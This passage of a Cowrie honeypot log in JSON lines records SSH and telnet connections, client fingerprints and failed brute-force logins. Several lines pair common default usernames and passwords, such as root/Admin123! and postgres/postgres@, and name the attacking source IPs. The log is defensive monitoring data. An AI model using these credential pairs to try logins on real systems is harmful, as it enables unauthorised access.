c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:55.803617Z","src_ip":"118.145.131.27","session":"f43099976d86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51106,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d3c73221ee6","protocol":"ssh","message":"New connection: 45.156.87.253:51106 (10.17.0.5:22) [session: 4d3c73221ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:56.316568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:56.320314Z","src_ip":"45.156.87.253","session":"4d3c73221ee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:56.400662Z","src_ip":"45.156.87.253","session":"4d3c73221ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:56.645230Z","src_ip":"45.156.87.253","session":"4d3c73221ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres@","message":"login attempt [postgres/postgres@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:56.738393Z","src_ip":"118.145.131.27","session":"f43099976d86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:57.727964Z","src_ip":"45.156.87.253","session":"4d3c73221ee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:57.963201Z","src_ip":"118.145.131.27","session":"f43099976d86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.841313362121582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:58.154184Z","src_ip":"72.167.226.244","session":"706f2f503478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59902,"dst_ip":"10.17.0.5","dst_port":22,"session":"850cd91147b1","protocol":"ssh","message":"New connection: 45.156.87.253:59902 (10.17.0.5:22) [session: 850cd91147b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:59.675413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:59.678452Z","src_ip":"45.156.87.253","session":"850cd91147b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:59.757785Z","src_ip":"45.156.87.253","session":"850cd91147b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:00.166624Z","src_ip":"45.156.87.253","session":"850cd91147b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:01.249844Z","src_ip":"45.156.87.253","session":"850cd91147b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59912,"dst_ip":"10.17.0.5","dst_port":22,"session":"59e7eb87c05e","protocol":"ssh","message":"New connection: 45.156.87.253:59912 (10.17.0.5:22) [session: 59e7eb87c05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:03.132392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:03.135943Z","src_ip":"45.156.87.253","session":"59e7eb87c05e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:03.216348Z","src_ip":"45.156.87.253","session":"59e7eb87c05e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:03.458892Z","src_ip":"45.156.87.253","session":"59e7eb87c05e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:04.658508Z","src_ip":"45.156.87.253","session":"59e7eb87c05e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59924,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3bd9c1441dc","protocol":"ssh","message":"New connection: 45.156.87.253:59924 (10.17.0.5:22) [session: e3bd9c1441dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:06.440311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:06.443204Z","src_ip":"45.156.87.253","session":"e3bd9c1441dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:06.523171Z","src_ip":"45.156.87.253","session":"e3bd9c1441dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:06.837039Z","src_ip":"45.156.87.253","session":"e3bd9c1441dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:07.919653Z","src_ip":"45.156.87.253","session":"e3bd9c1441dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49956,"dst_ip":"10.17.0.5","dst_port":22,"session":"a35f3bc9dc1f","protocol":"ssh","message":"New connection: 45.156.87.253:49956 (10.17.0.5:22) [session: a35f3bc9dc1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:09.861587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:09.864018Z","src_ip":"45.156.87.253","session":"a35f3bc9dc1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:09.945886Z","src_ip":"45.156.87.253","session":"a35f3bc9dc1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"abc123","message":"login attempt [admin2/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:10.189951Z","src_ip":"45.156.87.253","session":"a35f3bc9dc1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:11.273526Z","src_ip":"45.156.87.253","session":"a35f3bc9dc1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49958,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb67d77f60f2","protocol":"ssh","message":"New connection: 45.156.87.253:49958 (10.17.0.5:22) [session: bb67d77f60f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:13.175706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:13.178826Z","src_ip":"45.156.87.253","session":"bb67d77f60f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:13.259223Z","src_ip":"45.156.87.253","session":"bb67d77f60f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:13.503113Z","src_ip":"45.156.87.253","session":"bb67d77f60f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:14.588521Z","src_ip":"45.156.87.253","session":"bb67d77f60f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":57890,"dst_ip":"10.17.0.5","dst_port":23,"session":"91aac66a8269","protocol":"telnet","message":"New connection: 72.167.226.244:57890 (10.17.0.5:23) [session: 91aac66a8269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:14.980582Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49962,"dst_ip":"10.17.0.5","dst_port":22,"session":"6605a865f08a","protocol":"ssh","message":"New connection: 45.156.87.253:49962 (10.17.0.5:22) [session: 6605a865f08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:16.481389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:16.484966Z","src_ip":"45.156.87.253","session":"6605a865f08a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:16.616406Z","src_ip":"45.156.87.253","session":"6605a865f08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:16.949599Z","src_ip":"45.156.87.253","session":"6605a865f08a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:18.033876Z","src_ip":"45.156.87.253","session":"6605a865f08a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42490,"dst_ip":"10.17.0.5","dst_port":22,"session":"122901f87eac","protocol":"ssh","message":"New connection: 45.156.87.253:42490 (10.17.0.5:22) [session: 122901f87eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:19.958964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:19.962532Z","src_ip":"45.156.87.253","session":"122901f87eac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:21:20.042349Z","src_ip":"45.156.87.253","session":"122901f87eac","protocol":"ssh"}
